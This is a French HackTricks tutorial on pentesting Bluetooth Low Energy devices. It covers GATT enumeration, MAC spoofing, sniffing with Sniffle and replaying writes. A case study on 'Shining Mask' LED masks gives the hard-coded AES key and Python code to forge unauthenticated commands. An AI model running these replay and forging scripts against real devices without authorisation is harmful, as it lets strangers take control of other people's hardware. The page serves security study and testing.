Pentesting BLE - Bluetooth Low Energy

Reading time: 11 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Introduction

Disponible depuis la spécification Bluetooth 4.0, le BLE n'utilise que 40 canaux, couvrant la plage de 2400 à 2483,5 MHz. En revanche, le Bluetooth traditionnel utilise 79 canaux dans cette même plage.

Les appareils BLE communiquent en envoyant des advertising packets (beacons) : ces paquets diffusent l'existence de l'appareil BLE aux autres appareils à proximité. Ces beacons envoient parfois aussi des données.

L'appareil à l'écoute, aussi appelé appareil central, peut répondre à un paquet d'advertising par une SCAN request envoyée spécifiquement à l'appareil annonceur. La response à ce scan utilise la même structure que le paquet advertising, avec des informations supplémentaires qui n'ont pas pu tenir dans la requête advertising initiale, comme le nom complet de l'appareil.

L'octet de préambule synchronise la fréquence, tandis que l'adresse d'accès de quatre octets est un identifiant de connexion, utilisé dans les scénarios où plusieurs appareils tentent d'établir des connexions sur les mêmes canaux. Ensuite, la Protocol Data Unit (PDU) contient les advertising data. Il existe plusieurs types de PDU ; les plus couramment utilisés sont ADV_NONCONN_IND et ADV_IND. Les appareils utilisent le type de PDU ADV_NONCONN_IND s'ils n'acceptent pas de connexions, ne transmettant des données que dans le paquet advertising. Les appareils utilisent ADV_IND s'ils acceptent des connexions et cessent d'envoyer des paquets advertising une fois qu'une connection a été établie.

GATT

Le Generic Attribute Profile (GATT) définit comment l'appareil doit formater et transférer les données. Lorsque vous analysez la surface d'attaque d'un appareil BLE, vous vous concentrez souvent sur le GATT (ou les GATTs), car c'est ainsi que la fonctionnalité de l'appareil est déclenchée et que les données sont stockées, groupées et modifiées. Le GATT énumère les caractéristiques, descripteurs et services d'un appareil dans un tableau sous forme de valeurs sur 16 ou 32 bits. Une caractéristique est une valeur de donnée envoyée entre l'appareil central et le périphérique. Ces caractéristiques peuvent avoir des descripteurs qui fournissent des informations supplémentaires à leur sujet. Les caractéristiques sont souvent regroupées en services si elles sont liées à l'exécution d'une action particulière.

Énumération

bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool permet d'établir une connexion avec un autre appareil, de lister les caractéristiques de cet appareil, et de lire et écrire ses attributs.
GATTTool peut lancer un shell interactif avec l'option -I :

Utilisation interactive de GATTTool et exemples
bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing et contrôle actif des appareils BLE non appariés

De nombreux périphériques BLE à bas coût n'imposent pas le pairing/bonding. Sans bonding, le Link Layer encryption n'est jamais activé, donc le trafic ATT/GATT est en clair. Un sniffer off-path peut suivre la connexion, décoder les opérations GATT pour apprendre les handles et les valeurs des caractéristiques, et tout hôte à proximité peut ensuite se connecter et rejouer ces écritures pour contrôler l'appareil.

Sniffing avec Sniffle (CC26x2/CC1352)

Matériel : un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) reflashé avec NCC Group’s Sniffle firmware.

Installez Sniffle et son Wireshark extcap sur Linux:

Installer Sniffle extcap (Linux)
bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Flasher le Sonoff avec le firmware Sniffle (assurez-vous que votre périphérique série correspond, par ex. /dev/ttyUSB0):

bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Effectuez une capture dans Wireshark via Sniffle extcap et basculez rapidement vers les écritures modifiant l'état en filtrant :

text
_ws.col.info contains "Sent Write Command"

Cela met en évidence les ATT Write Commands provenant du client ; le handle et la valeur correspondent souvent directement à des actions sur l'appareil (par ex., écrire 0x01 dans une caractéristique buzzer/alert, 0x00 pour arrêter).

Exemples rapides de Sniffle CLI :

bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Sniffer alternatif : Nordic’s nRF Sniffer for BLE + Wireshark plugin fonctionne aussi. Sur les petits/bon marché Nordic dongles, vous écrasez généralement le USB bootloader pour charger le sniffer firmware, donc soit vous conservez un dongle sniffer dédié soit vous avez besoin d’un J-Link/JTAG pour restaurer le bootloader ensuite.

Contrôle actif via GATT

Une fois que vous avez identifié un writable characteristic handle and value à partir du trafic sniffé, connectez-vous en tant que central et effectuez la même write :

  • Avec Nordic nRF Connect for Desktop (BLE app) :

  • Sélectionnez le dongle nRF52/nRF52840, scannez et connectez-vous à la cible.

  • Parcourez la base GATT, localisez la target characteristic (souvent avec un nom convivial, p.ex. Alert Level).

  • Effectuez un Write avec les octets sniffés (p.ex. 01 pour déclencher, 00 pour arrêter).

  • Automatisez sous Windows avec un dongle Nordic en utilisant Python + blatann :

Exemple Python blatann pour Write (Windows + dongle Nordic)
python
import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

Étude de cas : prise de contrôle de masques LED BLE (famille Shining Mask)

Des masques LED BLE peu coûteux et en marque blanche contrôlés par l'app « Shining Mask » acceptent des écritures depuis n'importe quel central à proximité sans pairing/bonding. L'app communique via GATT avec une caractéristique de commande et une caractéristique de données ; les commandes sont chiffrées en AES‑ECB avec une clé statique hard‑codée dans l'app, tandis que les données d'image en vrac ne sont pas chiffrées.

UUID clés sur ces appareils :

  • Caractéristique d'écriture des commandes : d44bc439-abfd-45a2-b575-925416129600
  • Caractéristique de notification : d44bc439-abfd-45a2-b575-925416129601
  • Caractéristique de données d'image : d44bc439-abfd-45a2-b575-92541612960a

Écritures GATT non authentifiées

  • Aucun pairing/bonding requis. N'importe quel hôte peut se connecter et écrire sur l'UUID de commande pour changer la luminosité, sélectionner des images, lancer des animations, etc.
  • Opérations courantes observées : LIGHT (luminosité), IMAG (sélectionner un index), DELE (supprimer des indices), SPEED, ANIM, PLAY, CHEC (interroger le nombre), DATS (commencer le téléversement).

Format des commandes AES à clé statique

  • Trame = 1‑octet de longueur, op ASCII (par ex., b"LIGHT"), args, padding jusqu'à 16, chiffrement AES‑ECB avec la clé statique provenant de l'app.
  • Clé statique connue (hex) : 32672f7974ad43451d9c6c894a0e8764

Exemple en Python pour chiffrer et envoyer une commande (exemple : définir la luminosité maximale) :

python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Flux d'upload d'image

  • Après un handshake DATS chiffré, des chunks bruts sont écrits en clair dans la data characteristic …960a.
  • Format du packet : [len][seq][payload]. Empiriquement ~100 bytes de payload par packet fonctionne de manière fiable.
Pseudo-code minimal pour l'upload d'image
python
# Start upload (encrypted): two bytes size, two bytes index, one toggle byte
img_index = b'\x01\x00'  # index 1
img_size  = (len(img_bytes)).to_bytes(2, 'big')
start     = enc_cmd('DATS', img_size + img_index + b'\x01')
write_cmd_char(start)  # expect DATSOK on notify char

# Stream raw chunks (unencrypted) to ...960a: [len][seq][payload]
seq = 0
CHUNK = 98  # data bytes per packet (≈100 total incl. len+seq)
for off in range(0, len(img_bytes), CHUNK):
chunk = img_bytes[off:off+CHUNK]
pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk
write_data_char(pkt)
seq += 1

# Optionally signal completion if firmware expects it (e.g., DATCP)

Notes opérationnelles

  • Privilégiez Sonoff+Sniffle sur Linux pour un saut de canal fiable et le suivi des connexions. Gardez un sniffer Nordic de rechange.
  • Sans pairing/bonding, un attaquant à proximité peut observer les écritures et rejouer/forger les siennes vers des caractéristiques écrites non authentifiées.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks